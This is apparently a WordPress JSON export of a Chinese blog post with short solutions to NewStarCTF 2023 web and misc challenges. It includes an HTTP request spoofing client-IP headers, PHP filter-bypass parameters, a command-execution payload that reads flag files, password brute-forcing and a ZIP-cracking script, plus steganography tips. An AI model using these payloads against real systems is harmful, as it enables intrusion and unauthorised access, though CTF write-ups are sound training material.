{"id":2573,"date":"2023-10-01T23:28:07","date_gmt":"2023-10-01T15:28:07","guid":{"rendered":"https:\/\/fushuling.com\/?p=2573"},"modified":"2023-10-15T00:00:54","modified_gmt":"2023-10-14T16:00:54","slug":"newstarctf","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2023\/10\/01\/newstarctf\/","title":{"rendered":"NewstarCTF"},"content":{"rendered":"\n

WEB<\/h2>\n\n\n\n

\u6cc4\u6f0f\u7684\u79d8\u5bc6<\/h3>\n\n\n\n

\/robots.txt \/www.zip<\/p>\n\n\n\n

Begin of Upload<\/h3>\n\n\n\n

bp\u6293\u5305\u6539\u6587\u4ef6\u540d\u4e0a\u4f20<\/p>\n\n\n\n

ErrorFlask<\/h3>\n\n\n\n

\u672c\u6765\u4ee5\u4e3a\u662f\u7b97pin\u7801\uff0c\u6ca1\u60f3\u5230\u62a5\u9519\u76f4\u63a5\u6cc4\u9732flag\u4e86<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

Begin of HTTP<\/h3>\n\n\n\n
POST \/?ctf=1 HTTP\/1.1\nHost: 127.0.0.1\nX-Forwarded-For: 127.0.0.1\nX-Forwarded: 127.0.0.1\nForwarded-For: 127.0.0.1\nForwarded: 127.0.0.1\nX-Forwarded-Host: 127.0.0.1\nX-remote-IP: 127.0.0.1\nX-remote-addr: 127.0.0.1\nTrue-Client-IP: 127.0.0.1\nX-Client-IP: 127.0.0.1\nClient-IP: 127.0.0.1\nX-Real-IP: 127.0.0.1\nAli-CDN-Real-IP: 127.0.0.1\nCdn-Src-IP: 127.0.0.1\nCdn-Real-IP: 127.0.0.1\nCF-Connecting-IP: 127.0.0.1\nX-Cluster-Client-IP: 127.0.0.1\nWL-Proxy-Client-IP: 127.0.0.1\nProxy-Client-IP: 127.0.0.1\nFastly-Client-IP: 127.0.0.1\nTrue-Client-IP: 127.0.0.1\nUser-Agent: NewStarCTF2023\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 28\nOrigin: 127.0.0.1\nConnection: close\nReferer:   newstarctf.com \nCookie: power=ctfer\nUpgrade-Insecure-Requests: 1\n\nsecret=n3wst4rCTF2023g00000d<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
Begin of PHP<\/h3>\n\n\n\n
GET:http:\/\/735dbebf-bd38-4fd3-946b-33b7268f4419.node4.buuoj.cn:81\/\/?key1[]=1&&key2[]=2&&key4[]=1&&key5=2025a\nPOST:key3[]=%0a&flag5=%0a=%0a<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
R!C!E!<\/h3>\n\n\n\n
POST \/ HTTP\/1.1\nHost: d08db52d-0bd0-493d-8c74-b37fcd411d11.node4.buuoj.cn:81\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\/20100101 Firefox\/116.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 47\nOrigin: http:\/\/d08db52d-0bd0-493d-8c74-b37fcd411d11.node4.buuoj.cn:81\nConnection: close\nReferer: http:\/\/d08db52d-0bd0-493d-8c74-b37fcd411d11.node4.buuoj.cn:81\/\nUpgrade-Insecure-Requests: 1\n\npassword=114514&&e[v.a.l=exec(\"tac \/f*>1.txt\");<\/code><\/pre>\n\n\n\n
\u7136\u540e\u8bbf\u95ee1.txt<\/p>\n\n\n\n
EasyLogin<\/h3>\n\n\n\n
\u7206\u5bc6\u7801<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7528\u6b63\u786e\u5bc6\u7801\u54c8\u5e0c\u653e\u5305\u80fd\u6293\u5230\u4e00\u4e2a302\u8bf7\u6c42\uff0c\u91cc\u9762\u5c31\u662fflag<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
MISC<\/h2>\n\n\n\n
CyberChef’s Secret<\/h3>\n\n\n\n
cyberchef magic\u6a21\u5f0f<\/p>\n\n\n\n
\u673a\u5bc6\u56fe\u7247<\/h3>\n\n\n\n
stegsolve\u770b\u56fe\u7247\u6709\u660e\u663elsb\u75d5\u8ff9\uff0c\u4e00\u628a\u68ad\u5373\u53ef\uff0czsteg -a secret.png<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6d41\u91cf\uff01\u9ca8\u9c7c\uff01<\/h3>\n\n\n\n
\u5bfc\u51fa\u6240\u6709\u6587\u4ef6\uff0c\u6709\u4e00\u4e2a.ffffllllllll11111144444GGGGGG%7cbase64\uff0ccyberchef magic\u5373\u53ef<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u538b\u7f29\u5305\u4eec<\/h3>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
# -*- coding: utf-8 -*-\n# time: 2022\/11\/6 11:03\n# file: password-demo.py\n# \u516c\u4f17\u53f7: \u73a9\u8f6c\u6d4b\u8bd5\u5f00\u53d1\nimport time\nimport zipfile\nimport itertools\n\n\ndef extract(password, file):\n    try:\n        password = str(password)\n        file.extractall(path='.', pwd=password.encode('utf-8'))\n        print(\"the password is {}\".format(password))\n        return True\n    except Exception as e:\n        pass\n\n\ndef main(password_length):\n    zip_file = zipfile.ZipFile(r\"flag.zip\", 'r')\n    # \u5f00\u59cb\u5c1d\u8bd5\n    data = \"0123456789\"\n    num = 0\n    for i in itertools.product(data, repeat=password_length):\n        guess = \"\".join(i)\n        print(f\"\u5f53\u524d\u5bc6\u7801\u957f\u5ea6\uff1a{password_length}, \u731c\u6d4b\u7684\u5bc6\u7801\u4e3a\uff1a{guess}\uff0c\u5c1d\u8bd5\u6b21\u6570\uff1a{num}\u3002\")\n        if extract(guess, zip_file):\n            print(f\"\u5f53\u524d\u5bc6\u7801\u957f\u5ea6\uff1a{password_length}, \u731c\u6d4b\u7684\u5bc6\u7801\u4e3a\uff1a{guess}\u3002\u5b9e\u9645\u5bc6\u7801\u4e3a\uff1a{guess}\uff0c\u5c1d\u8bd5\u6b21\u6570\uff1a{num}\uff0c\u7834\u89e3\u6210\u529f\u3002\")\n            break\n        num += 1\n\n\nif __name__ == '__main__':\n    start = time.time()\n    main(6)\n    end = time.time()\n    print(f\"\u7834\u89e3\u8017\u65f6\uff1a{round(end - start, 2)}\u79d2\")\n<\/code><\/pre>\n\n\n\n
232311<\/p>\n\n\n\n
\u7a7a\u767d\u683c<\/h3>\n\n\n\n
https:\/\/vii5ard.github.io\/whitespace\/<\/a>\u80fd\u4e00\u628a\u68ad\uff0c\u6211\u5199\u811a\u672c\u505a\u7684\uff0c\u67d0\u56fd\u9645\u8d5b\u7b7e\u5230\u9898<\/p>\n\n\n\n
def convert_text(text):\n    converted_text = \"\"\n    for char in text:\n        if char == \" \":\n            converted_text += \"0\"\n        elif char == \"\\n\":\n            converted_text += \"2\"\n        elif char == \"\\t\":\n            converted_text += \"1\"\n    return converted_text\n\n# \u8bfb\u53d6\u6587\u4ef6\nwith open(\"white.txt\", \"r\", encoding=\"utf-8\") as file:\n    input_text = file.read()\n\n# \u8f6c\u6362\u5e76\u8f93\u51fa\u7ed3\u679c\nbinary_string = convert_text(input_text).replace('212',\"\\n\")\nbinary_string = binary_string[:-3]\nbinary_string = \"00\" + binary_string\n\nwith open(\"flag.txt\", \"w\") as f:\n        f.write(binary_string)\nwith open('flag.txt', 'r') as f:\n    lines = f.readlines()\n    for line in lines:\n        binary_string = line.strip()\n        decimal_number = int(binary_string, 2)\n        ascii_character = chr(decimal_number)\n        print(ascii_character, end='')<\/code><\/pre>\n\n\n\n
\u9690\u79d8\u7684\u773c\u775b<\/h3>\n\n\n\n
\u6628\u5e74newstarctf\u7684\u8001\u6897\u4e86\uff0csilent eye<\/p>\n","protected":false},"excerpt":{"rendered":"
WEB \u6cc4\u6f0f\u7684\u79d8\u5bc6 \/robots.txt \/www.zip Begin of Upload bp\u6293\u5305\u6539\u6587\u4ef6\u540d […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-2573","post","type-post","status-publish","format-standard","hentry","category-wp"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/2573","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=2573"}],"version-history":[{"count":9,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/2573\/revisions"}],"predecessor-version":[{"id":2663,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/2573\/revisions\/2663"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=2573"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=2573"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=2573"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}